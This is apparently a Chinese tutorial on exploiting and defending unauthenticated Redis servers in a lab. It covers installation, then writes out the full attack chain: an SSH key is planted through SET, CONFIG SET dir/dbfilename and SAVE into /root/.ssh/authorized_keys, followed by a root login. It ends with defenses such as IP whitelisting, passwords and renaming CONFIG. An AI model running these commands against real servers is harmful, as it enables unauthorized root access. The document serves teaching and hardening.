redis漏洞利用及防御
一、 redis介绍
Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker.
开源、内存存储、数据结构存储
数据库、缓存、消息队列
Redis provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams.
数据结构:字符串、hashes(关联数组)、列表(数组)、集合、有序集合、bitmaps、hyperloglogs、空间索引、streams
Redis has built-in replication, Lua scripting, LRU eviction, transactions, and different levels of on-disk persistence, and provides high availability via Redis Sentinel and automatic partitioning with Redis Cluster.
内建复制、Lua scripting、LRU、事务、不同级别的磁盘持久化
基于哨兵、Redis Cluster的高可用
二、 redis安装
1、yum安装
epel源提供的3.2.12版本,不推荐,官方已不再维护
2、 源码安装(4.x版本)
2.1 下载安装包并解压
~]# wget https://download.redis.io/releases/redis-4.0.8.tar.gz
~]# tar xf redis-4.0.8.tar.gz
~]# cd redis-4.0.8
复制代码
2.2 安装
# 安装编译依赖软件
~]# yum groupinstall -y "Development Tools"
# 安装redis
~]# make install
# 安装启动脚本
~]# utils/install_server.sh
复制代码
3、 源码安装(6.x版本)
3.1 下载并解压安装包
[root@redis-v6 ~]# wget https://download.redis.io/releases/redis-6.2.5.tar.gz
[root@redis-v6 ~]# tar xf redis-6.2.5.tar.gz
[root@redis-v6 ~]# cd redis-6.2.5/
复制代码
3.2 准备编译环境
[root@redis-v6 redis-6.2.5]# yum groupinstall -y "Development Tools"
复制代码
3.3 升级gcc版本
Redis 6以上版本编译时需要5版本以上gcc
~]# yum -y install centos-release-scl systemd-devel && yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils && scl enable devtoolset-9 bash
复制代码
3.4 安装
[root@redis-v6 redis-6.2.5]# make install
复制代码
3.4 提供系统脚本
需先注释install_server.sh脚本中以下内容,再执行脚本
76 #bail if this system is managed by systemd
77 _pid_1_exe="$(readlink -f /proc/1/exe)"
78 if [ "${_pid_1_exe##*/}" = systemd ]
79 then
80 echo "This systems seems to use systemd."
81 echo "Please take a look at the provided example service unit files in this directory, and adapt and install them. Sorry!
" 82 exit 1
83 fi
84 unset _pid_1_exe
复制代码
三、 漏洞产生的前提
- 绑定在公网IP上,并未对访问的来源地址做限制。
- 未设置密码验证
四、 漏洞利用
机器名称 | IP地址 |
---|---|
hacker | 192.168.100.199 |
redis-server 3.x版本 | 192.168.100.230 |
redis-server 6.x版本 | 192.168.100.220 |
1. hacker生成密钥
~]# [root@hacker ~]# ssh-keygen -t rsa -N ''
复制代码
2. 设置密钥为redis-server中的key
[root@hacker ~]# redis-cli -h 192.168.100.220
192.168.100.220:6379> set a "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIUar9DbYKo5X9cO5OOnTzRQnKQklo9M6bDTMNtelqxxe8eqxBich3V2qycPTckaU4Gec+2evTNowen04vWRc9IZw07QfyOIX4DWZdTNUDEfKj9RfyiCDNk+aNVNR/QL+m1QH365oK6oUA5PVyATgrhutKJvBoqhR0KqEAdlJklW01YMJJ78GOzLJNunzEXy/Cp6mHxVMV7z9MM5VHjaizGdCVWNgb08Ulzh49Bh0V5VknjTqdk1ehHgCes3j9hE7mb1n/I0Np2kfyQ6x87cIHmwGRBD/Mo7SoBRi3daXXO583PPIa7TR6Uihhrc+H/VhR0DaHtg7rZ2n0dduJS9kT root@centos7\n\n\n\n"
OK
192.168.100.220:6379> get a
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIUar9DbYKo5X9cO5OOnTzRQnKQklo9M6bDTMNtelqxxe8eqxBich3V2qycPTckaU4Gec+2evTNowen04vWRc9IZw07QfyOIX4DWZdTNUDEfKj9RfyiCDNk+aNVNR/QL+m1QH365oK6oUA5PVyATgrhutKJvBoqhR0KqEAdlJklW01YMJJ78GOzLJNunzEXy/Cp6mHxVMV7z9MM5VHjaizGdCVWNgb08Ulzh49Bh0V5VknjTqdk1ehHgCes3j9hE7mb1n/I0Np2kfyQ6x87cIHmwGRBD/Mo7SoBRi3daXXO583PPIa7TR6Uihhrc+H/VhR0DaHtg7rZ2n0dduJS9kT root@centos7\n\n"
复制代码
3. 修改redis-server持久存储文件存储位置并保存
# 查看现在的值:
192.168.100.220:6379> config get dir
1) "dir"
2) "/var/lib/redis/6379"
192.168.100.220:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
# 设置
192.168.100.220:6379> config set dir /root/.ssh
OK
192.168.100.220:6379> config set dbfilename authorized_keys
OK
#查看修改后的值:
192.168.100.220:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.100.220:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
# 通知redis-server执行一次保存操作,把数据同步到/root/.ssh/authorized_keys文件中
192.168.100.220:6379> save
复制代码
4. 登陆验证
[root@hacker ~]# ssh root@192.168.100.220
Last login: Sat Jul 31 04:25:20 2021 from 192.168.100.199
复制代码
五、防御
hacker连接到redis-server中涉及到的点:
1. 知道目标服务器IP
重点:如何找到开放6379端口的服务器(端口扫描),也有可能是针对性攻击。
防御:
针对外部攻击:不开放6379端口,或者改为其它端口。使用白名单方式限制哪些来源IP可访问服务器。
内部攻击:限制哪些来源IP可访问服务器
2. 登陆到redis服务
重点:如何通过客户端连接到服务端?
防御:设置复杂度高的密码
3. 修改redis.conf文件写入密钥或文件
重点:可使用config命令在线修改redis.conf文件,把密钥文件放到服务器上,达到获得root权限的目的。
防御:使用低权限且shell类型为/sbin/nologin的用户运行redis,修改或禁用高危命令(redis.conf配置文件中新增以下内容)
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command KEYS ""
复制代码
4. 远程登陆到目标服务器
重点:通过密钥登陆或反弹式shell等方式连接到目标服务器
防御:双因子验证、服务器禁止访问外部网络。
注:反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。